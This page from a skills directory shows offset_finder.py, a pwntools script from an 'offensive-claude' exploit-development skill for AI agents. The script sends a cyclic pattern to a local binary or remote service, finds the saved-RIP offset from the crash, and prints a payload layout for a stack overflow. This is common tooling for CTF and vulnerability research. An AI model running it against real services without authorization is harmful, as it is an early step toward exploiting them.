Skip to content

hypnguyen1209/offensive-claude / skills/exploit-development

exploit-development

Verified

Use when turning a memory-corruption bug into a working PoC — stack/ROP, glibc heap & FSOP, format strings, browser/JIT type confusion & UAF, Linux/Windows kernel LPE against ASLR/DEP/CFG/CET/V8-Sandbox

scripts/offset_finder.py

View on GitHub
#!/usr/bin/env python3
"""
offset_finder.py - Auto-discover the saved-RIP offset of a stack buffer overflow.

Sends a De Bruijn (cyclic) pattern to a local process or remote service, catches the
crash, reads the faulting return address from the core dump (local) or from a supplied
RSP/RIP value, and reports the exact offset to RIP and (if PIE/canary) what was clobbered.

Usage:
    python3 offset_finder.py ./target                 # local process, auto core analysis
    python3 offset_finder.py ./target --length 400    # bigger pattern
    python3 offset_finder.py --remote host:1337 --send-after '> '   # remote, manual fault
    python3 offset_finder.py --value 0x6161616c6161616b              # offset from a known qword

Dependencies: pwntools  (pip install pwntools)
Notes: enable cores locally with `ulimit -c unlimited` and a sane core_pattern.
"""
import argparse
import sys

try:
    from pwn import context, process, remote, cyclic, cyclic_find, ELF, log, core, p64, u64
except ImportError:
    sys.exit("[!] pwntools required: pip install pwntools")


def offset_from_value(val, length):
    pat = cyclic(length, n=8)  # 8-byte stride for amd64
    try:
        off = cyclic_find(val, n=8)
    except Exception:
        off = cyclic_find(val & 0xffffffff, n=4)
    if off < 0:
        log.failure(f"value {hex(val)} not found in pattern of length {length}")
        return None
    log.success(f"offset to controlled value = {off}")
    return off


def local_core(binary, length):
    context.binary = ELF(binary)
    context.arch = context.binary.arch
    pat = cyclic(length, n=8)
    io = process(binary)
    io.sendline(pat)
    io.wait()
    c = io.corefile
    fault_pc = c.pc
    fault_sp = c.sp
    log.info(f"crash: pc={hex(fault_pc)} sp={hex(fault_sp)}")
    # Prefer the value sitting at RSP (the consumed saved-RIP slot) for the offset.
    sp_val = u64(c.read(fault_sp, 8))
    off = cyclic_find(sp_val & 0xffffffffffff, n=8)
    if off < 0:
        off = cyclic_find(fault_pc & 0xffffffff, n=8)
    if off >= 0:
        log.success(f"saved-RIP offset = {off}")
        log.info(f"  payload layout: b'A'*{off} + p64(return_target)")
    else:
        log.warning("could not auto-resolve; inspect core manually (pc/sp above)")
    return off


def remote_manual(target, length, send_after):
    host, port = target.split(":")
    pat = cyclic(length, n=8)
    io = remote(host, int(port))
    if send_after:
        io.recvuntil(send_after.encode())
    io.sendline(pat)
    log.info("pattern sent. Capture the faulting RIP/RSP from the debugger on the target,")
    log.info("then re-run with --value 0x<qword> to compute the offset.")
    try:
        log.info("service response: " + repr(io.recvrepeat(timeout=2)))
    except Exception:
        pass
    io.close()


def main():
    ap = argparse.ArgumentParser(description="Auto stack-overflow offset finder")
    ap.add_argument("binary", nargs="?", help="local target binary")
    ap.add_argument("--length", type=int, default=200, help="cyclic pattern length")
    ap.add_argument("--remote", help="host:port for a remote service")
    ap.add_argument("--send-after", help="recvuntil this string before sending")
    ap.add_argument("--value", help="known faulting qword (hex) to resolve offset")
    args = ap.parse_args()

    if args.value:
        offset_from_value(int(args.value, 0), max(args.length, 4096))
    elif args.remote:
        remote_manual(args.remote, args.length, args.send_after)
    elif args.binary:
        local_core(args.binary, args.length)
    else:
        ap.error("provide a binary, --remote, or --value")


if __name__ == "__main__":
    main()
slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."Stars: 197kUpdated Claude CodeCodexVerifiedInstall
ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt.Stars: 194kUpdated Claude CodeCodexVerifiedInstall